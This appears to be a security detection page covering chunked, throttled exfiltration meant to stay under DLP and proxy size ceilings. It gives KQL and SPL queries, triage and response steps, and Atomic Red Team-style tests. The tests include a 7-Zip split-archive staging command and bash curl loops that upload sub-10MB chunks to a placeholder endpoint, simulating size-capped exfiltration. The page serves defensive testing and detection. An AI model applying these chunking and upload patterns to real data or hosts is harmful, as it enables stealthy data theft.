THREAT-Exfil-ChunkedSizeLimitEvasion

Data Transfer Size Limits — Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection

Exfiltration Last updated:

Many DLP and web-proxy platforms only inspect or alert on a single transaction/session once its size crosses a configured ceiling (e.g. 10MB, 25MB, 50MB, 100MB) or once a per-user daily transfer volume is exceeded. Adversaries who are aware of these ceilings deliberately size their exfiltration to stay just underneath them rather than attempting a single large transfer that would trip the control. This shows up in two complementary behaviors: (1) archive splitting, where a staged collection of stolen data is compressed into equal-sized sub-threshold volumes using 7-Zip's -v flag, WinRAR's split-volume switch, Rclone's chunker overlay, or a raw `split -b`, producing sequentially numbered parts (.7z.001/.002, .partN.rar, .r00/.r01); and (2) session/day throttling, where the exfiltration channel itself (a C2 implant, a legitimate cloud-sync client abused for the transfer, or a scripted uploader) caps each individual upload's byte count and paces the uploads across many sessions in a day so that both the per-transaction proxy/DLP threshold and any daily aggregate quota are never technically breached, even though the cumulative volume moved over 24 hours can be very large. The two behaviors are frequently combined: a chunked archive's numbered parts are uploaded one at a time, each part sized just under the proxy's inspection ceiling, spread across a day to avoid burst-based rate alarms. Because each individual event looks unremarkable in isolation, this technique is best detected by aggregation — looking for repeated sessions from the same user/host to the same destination whose sent-byte counts cluster just below a round-number threshold, and by correlating that pattern with local filesystem evidence of split-archive staging.

What is THREAT-Exfil-ChunkedSizeLimitEvasion Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection?

Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection (THREAT-Exfil-ChunkedSizeLimitEvasion) is a sub-technique of Data Transfer Size Limits (T1030) in the MITRE ATT&CK framework. It maps to the Exfiltration tactic — the adversary is trying to steal data.

This page provides production-ready detection logic for Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint (DeviceFileEvents), Proxy / Firewall logs normalized to CommonSecurityLog (Zscaler, Bluecoat/Symantec ProxySG, Palo Alto Networks, Squid), Sysmon Event ID 11. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Microsoft Sentinel / Defender
kusto
let ChunkStaging =
    // Signal 1: sequentially-numbered archive chunk files staged locally ahead of a throttled transfer
    DeviceFileEvents
    | where Timestamp > ago(1d)
    | where ActionType == "FileCreated"
    | where FileName matches regex @"(?i)\.(7z|zip|rar|tar|gz)\.[0-9]{2,3}$"
        or FileName matches regex @"(?i)\.part[0-9]{1,4}(\.rar)?$"
        or FileName matches regex @"(?i)\.r[0-9]{2}$"
    | summarize Timestamp = min(Timestamp), ChunkCount = count(), Files = make_set(FileName, 10)
        by DeviceName, AccountName = InitiatingProcessAccountName, InitiatingProcessFileName, TimeBucket = bin(Timestamp, 15m)
    | where ChunkCount >= 4
    | project Timestamp, User = AccountName, Host = DeviceName, ProcessName = InitiatingProcessFileName,
        Destination = "(local staging)", SessionCount = ChunkCount, TotalBytesSent = long(null),
        MaxBytesSent = long(null), NearestThresholdMB = int(null), Signal = "ChunkedArchiveStaging",
        RiskScore = 55, Detail = strcat("Files=", tostring(Files));
// Base aggregation: proxy/firewall sessions whose sent-bytes land just under a common DLP/proxy inspection ceiling (80-100% of a round MB threshold)
let SubThresholdSessions =
    CommonSecurityLog
    | where TimeGenerated > ago(1d)
    | where isnotempty(SentBytes) and SentBytes > 1048576
    | where not(ipv4_is_in_range(DestinationIP, "10.0.0.0/8"))
        and not(ipv4_is_in_range(DestinationIP, "172.16.0.0/12"))
        and not(ipv4_is_in_range(DestinationIP, "192.168.0.0/16"))
    | extend NearestThresholdMB = case(
        SentBytes between (8388608 .. 10485760), 10,
        SentBytes between (20971520 .. 26214400), 25,
        SentBytes between (41943040 .. 52428800), 50,
        SentBytes between (83886080 .. 104857600), 100,
        SentBytes between (209715200 .. 262144000), 250,
        0)
    | where NearestThresholdMB > 0
    | summarize TimeBucket = min(TimeGenerated), SessionCount = count(), TotalBytesSent = sum(SentBytes),
        MaxBytesSent = max(SentBytes), Host = any(SourceIP)
        by User = SourceUserName, Destination = DestinationHostName, NearestThresholdMB, bin(TimeGenerated, 1d);
// Signal 2: same user/destination pair repeatedly landing just under the same threshold across many sessions in a day
let SubThresholdBurst =
    SubThresholdSessions
    | where SessionCount >= 6
    | project Timestamp = TimeBucket, User, Host, ProcessName = "", Destination, SessionCount, TotalBytesSent,
        MaxBytesSent, NearestThresholdMB, Signal = "SubThresholdProxyBurst", RiskScore = 75,
        Detail = strcat("MaxBytesSent stayed below the ", NearestThresholdMB, "MB threshold across ", SessionCount, " sessions");
// Signal 3: the daily aggregate volume is large despite every individual session staying capped -- the "low and slow" tell
let HighVolumeLowAndSlow =
    SubThresholdSessions
    | where SessionCount >= 6 and TotalBytesSent > 524288000
    | project Timestamp = TimeBucket, User, Host, ProcessName = "", Destination, SessionCount, TotalBytesSent,
        MaxBytesSent, NearestThresholdMB, Signal = "HighVolumeLowAndSlowExfil", RiskScore = 92,
        Detail = strcat("TotalBytesSent=", TotalBytesSent, " over ", SessionCount, " sub-threshold sessions in 24h");
union ChunkStaging, SubThresholdBurst, HighVolumeLowAndSlow
| sort by RiskScore desc, Timestamp desc

Three-signal detection combining Microsoft Defender for Endpoint filesystem telemetry with proxy/firewall logs ingested into CommonSecurityLog: (1) local staging of 4 or more sequentially-numbered archive chunk files within a 15-minute window, the filesystem fingerprint of 7-Zip/WinRAR/Rclone volume splitting; (2) six or more outbound proxy/firewall sessions from the same user to the same external destination in a day whose sent-byte counts each land in the 80-100% band just below a common round-number DLP/proxy inspection ceiling (10/25/50/100/250MB); (3) an escalation of signal 2 where the summed daily transfer volume across those capped sessions exceeds 500MB, the clearest evidence that the actor is intentionally staying under a per-session limit while still moving a large amount of data over the course of a day.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint (DeviceFileEvents) Proxy / Firewall logs normalized to CommonSecurityLog (Zscaler, Bluecoat/Symantec ProxySG, Palo Alto Networks, Squid) Sysmon Event ID 11

Required Tables

DeviceFileEvents CommonSecurityLog

False Positives

  • Backup and replication software (Veeam, Backup Exec, Acronis, Duplicati) that both splits archive volumes for media-size compatibility and paces uploads to a cloud target during a maintenance window
  • Approved cloud-sync clients (OneDrive, Google Drive, Dropbox, Box) that natively chunk large file uploads into fixed-size segments as part of their resumable-upload protocol
  • Software distribution pipelines or CDN pre-staging jobs that upload large installers in fixed-size parts to avoid a single oversized PUT request
  • Scheduled ETL/data-warehouse export jobs that intentionally throttle egress bandwidth to a partner or analytics vendor to comply with a contracted rate limit rather than to evade security controls
  • Video conferencing or streaming applications whose segmented media uploads can produce a superficially similar many-sessions-of-similar-size pattern to a single destination

Sigma rule & cross-platform mapping

The detection logic for Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection (THREAT-Exfil-ChunkedSizeLimitEvasion) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Split-Archive Staging

    Expected signal: Sysmon Event ID 1 for 7z.exe launched with a -v9m volume-size flag; Sysmon Event ID 11 for the creation of stage_archive.7z.001, .002, .003, etc. within a short window.

  2. Test 2Simulate Sub-Threshold Proxy Session Burst

    Expected signal: Proxy/firewall log entries (CommonSecurityLog or pan:traffic) showing 8 outbound sessions to the test endpoint, each with SentBytes in the 8.5-9.5MB range, spread across roughly 40 minutes.

  3. Test 3Simulate High-Volume Low-and-Slow Exfil Escalation

    Expected signal: 60 proxy/firewall session log entries to the test endpoint, each SentBytes in the 8.5-9.5MB range, summing to roughly 540MB over the test run.


Response Playbook

Triage

  1. Pull all proxy/firewall sessions for the flagged user/destination pair over the preceding 24-48 hours and plot SentBytes per session — a tight cluster of values sitting just below a round number (10MB, 25MB, 50MB, 100MB) is the core signature; a handful of sessions that happen to be similar size by coincidence is not.
  2. Sum SentBytes across all sessions in the cluster to compute the true daily transfer volume — a per-session view that looks benign (each transfer under the DLP ceiling) can hide an aggregate volume in the hundreds of megabytes to gigabytes.
  3. Check DeviceFileEvents/Sysmon Event ID 11 on the source host for sequentially-numbered archive parts (.7z.001/.002, .partN.rar, .r00/.r01) created shortly before the session burst began — this ties the network pattern to a concrete local staging/collection action and rules out a coincidental bandwidth pattern from unrelated software.
  4. Identify the process actually performing the uploads (browser, custom script, scheduled task, or a known cloud-sync client) — a hand-rolled script or unsigned binary driving the uploads is a much stronger indicator than a recognized enterprise backup agent.
  5. Compare the destination against your organization's approved cloud storage/backup/partner destination list; an unfamiliar external host receiving many size-capped sessions from a single user account is the highest-priority case to escalate.

Containment

  1. If the uploading process is not a recognized business application, isolate the host via EDR and suspend the associated user account's outbound network access pending investigation.
  2. Block the destination IP/hostname at the proxy or firewall to stop further chunked uploads, and add it to a watchlist in case the actor pivots to an alternate destination.
  3. Preserve and quarantine any locally staged archive chunk files before they can be deleted or fully uploaded, so the exfiltrated data set can be reconstructed and scoped.
  4. If a legitimate-but-abused tool (Rclone, a scripting interpreter, or a sync client) was used as the transfer channel, remove or disable it on the host and review how it was obtained/configured.

Evidence Collection

  1. Full list of proxy/firewall sessions in the cluster (timestamp, source IP/user, destination, SentBytes) to reconstruct the complete transfer volume and timeline
  2. The staged archive chunk files themselves (or their filenames/hashes if already deleted) to determine what source data was included
  3. Process command-line and parent-process chain for whatever performed the uploads, to establish whether this was a scripted/automated exfil path or manual actor activity
  4. DNS resolution history and any TLS certificate/SNI data for the destination host, to support attribution and blocklist decisions

Escalation Criteria

  • ! Confirmed sub-threshold session burst combined with local archive-chunk staging evidence on the same host — treat as active, deliberate exfiltration rather than a benign bandwidth coincidence
  • ! Aggregate daily transfer volume in the hundreds of megabytes or more to an unapproved external destination — escalate as a likely in-progress or completed data breach
  • ! Sensitive data categories (customer records, financial data, credentials, source code) present among the staged/uploaded files — trigger legal/DPO breach-notification review
  • ! The uploading process is an unsigned or unfamiliar binary rather than a recognized backup/sync agent — treat as attacker tooling and pursue full incident response, including a search for related C2/staging infrastructure on the host

Investigation Guide

Forensic Artifacts

  • > Sequentially-numbered archive part files on disk (.7z.001/.002, .partN.rar, .r00/.r01) and their parent staging directory
  • > Prefetch/shimcache entries and command-line history for 7z.exe, WinRAR, rclone.exe, or split showing volume-size flags
  • > Proxy/firewall session logs showing SentBytes per transaction clustered just under a round-number threshold across many sessions per day
  • > Scheduled task, cron entry, or script (PowerShell/Python/Bash) responsible for pacing the uploads, if the throttling was automated rather than manual
  • > Any C2 implant configuration recovered via static/dynamic analysis specifying a fixed send-buffer or max-chunk-size value

Tuning Guidance

The ChunkedArchiveStaging signal is common in legitimate backup workflows, so on its own it should feed a lower-priority queue; it becomes high-confidence only when paired with SubThresholdProxyBurst on the same host within a short window. The threshold bands (10/25/50/100/250MB) should be replaced with your actual DLP/proxy inspection ceilings if they differ from these common defaults — misconfigured bands will cause the detection to miss the real evasion point entirely. HighVolumeLowAndSlowExfil is the highest-confidence signal in this detection: legitimate scheduled jobs rarely produce six-plus sessions per day that all land within a narrow band just under a round number while summing to hundreds of megabytes, so this should page on-call directly. Build an allowlist of known backup/sync service accounts and their expected destinations before enabling this in a production SOC to avoid steady-state noise.


Hunting Queries

Baseline 14-day hunt for any user/destination pair producing at least 10 outbound sessions in a single day whose sizes cluster into 3 or fewer distinct megabyte buckets — a low size-variance, high session-count pattern that is unusual for normal human browsing traffic and worth reviewing even without a specific round-number threshold match.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where isnotempty(SentBytes) and SentBytes > 1048576
| where not(ipv4_is_in_range(DestinationIP, "10.0.0.0/8"))
    and not(ipv4_is_in_range(DestinationIP, "172.16.0.0/12"))
    and not(ipv4_is_in_range(DestinationIP, "192.168.0.0/16"))
| summarize SessionCount = count(), DistinctSizesMB = dcount(bin(SentBytes / 1048576, 1)), AvgMB = avg(SentBytes) / 1048576, TotalMB = sum(SentBytes) / 1048576
    by SourceUserName, DestinationHostName, bin(TimeGenerated, 1d)
| where SessionCount >= 10 and DistinctSizesMB <= 3
| sort by TotalMB desc
Hunting — SPL
spl
index=proxy sourcetype="pan:traffic" bytes_sent>1048576 NOT dest_ip="10.0.0.0/8" NOT dest_ip="172.16.0.0/12" NOT dest_ip="192.168.0.0/16"
| bin _time span=1d
| eval SizeBucketMB=round(bytes_sent/1048576,0)
| stats count AS SessionCount, dc(SizeBucketMB) AS DistinctSizesMB, sum(bytes_sent)/1048576 AS TotalMB BY src_user, dest, _time
| where SessionCount>=10 AND DistinctSizesMB<=3
| sort - TotalMB

Atomic Red Team Tests

Test 1 Simulate Split-Archive Staging
windows

Creates a set of dummy files and compresses them into sequentially-numbered sub-threshold volumes using 7-Zip's -v flag, simulating the local staging step of chunked exfiltration. Use only non-sensitive dummy data.

Command

powershell
New-Item -ItemType Directory -Force -Path C:\Temp\stage | Out-Null; 1..20 | ForEach-Object { (New-Object byte[] 524288) | Set-Content -Path "C:\Temp\stage\file_$_.dat" -AsByteStream }; & 7z.exe a -v9m C:\Temp\stage_archive.7z C:\Temp\stage\*

Cleanup

powershell
Remove-Item C:\Temp\stage -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item C:\Temp\stage_archive.7z.* -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 for 7z.exe launched with a -v9m volume-size flag; Sysmon Event ID 11 for the creation of stage_archive.7z.001, .002, .003, etc. within a short window.

Expected Detection

ChunkedArchiveStaging (RiskScore=55) fires once 4 or more sequentially-numbered chunk files are observed within the 15-minute window.

Test 2 Simulate Sub-Threshold Proxy Session Burst
linux

Performs multiple outbound HTTP uploads to a test endpoint, each sized just under a common 10MB inspection ceiling, repeated across several sessions to simulate deliberate size-throttled exfiltration. Use only a non-production, attacker-controlled or sandboxed test endpoint.

Command

bash
for i in $(seq 1 8); do dd if=/dev/urandom of=/tmp/chunk_$i.bin bs=1M count=9 status=none; curl -s -X POST --data-binary @/tmp/chunk_$i.bin https://<TEST_ENDPOINT>/upload; sleep 300; done

Cleanup

bash
rm -f /tmp/chunk_*.bin

Expected Telemetry

Proxy/firewall log entries (CommonSecurityLog or pan:traffic) showing 8 outbound sessions to the test endpoint, each with SentBytes in the 8.5-9.5MB range, spread across roughly 40 minutes.

Expected Detection

SubThresholdProxyBurst (RiskScore=75) fires once 6 or more sessions in the 8-10MB band to the same destination are observed within the day window.

Test 3 Simulate High-Volume Low-and-Slow Exfil Escalation
linux

Extends the sub-threshold burst test to a larger number of capped-size sessions so the cumulative daily volume crosses the high-volume escalation threshold, simulating an actor moving a large data set while staying under the per-session DLP ceiling all day. Use only a non-production, attacker-controlled or sandboxed test endpoint.

Command

bash
for i in $(seq 1 60); do dd if=/dev/urandom of=/tmp/lchunk_$i.bin bs=1M count=9 status=none; curl -s -X POST --data-binary @/tmp/lchunk_$i.bin https://<TEST_ENDPOINT>/upload; sleep 60; done

Cleanup

bash
rm -f /tmp/lchunk_*.bin

Expected Telemetry

60 proxy/firewall session log entries to the test endpoint, each SentBytes in the 8.5-9.5MB range, summing to roughly 540MB over the test run.

Expected Detection

HighVolumeLowAndSlowExfil (RiskScore=92) fires once SessionCount >= 6 and TotalBytesSent exceeds 500MB for the user/destination pair within the day window.

Related Detections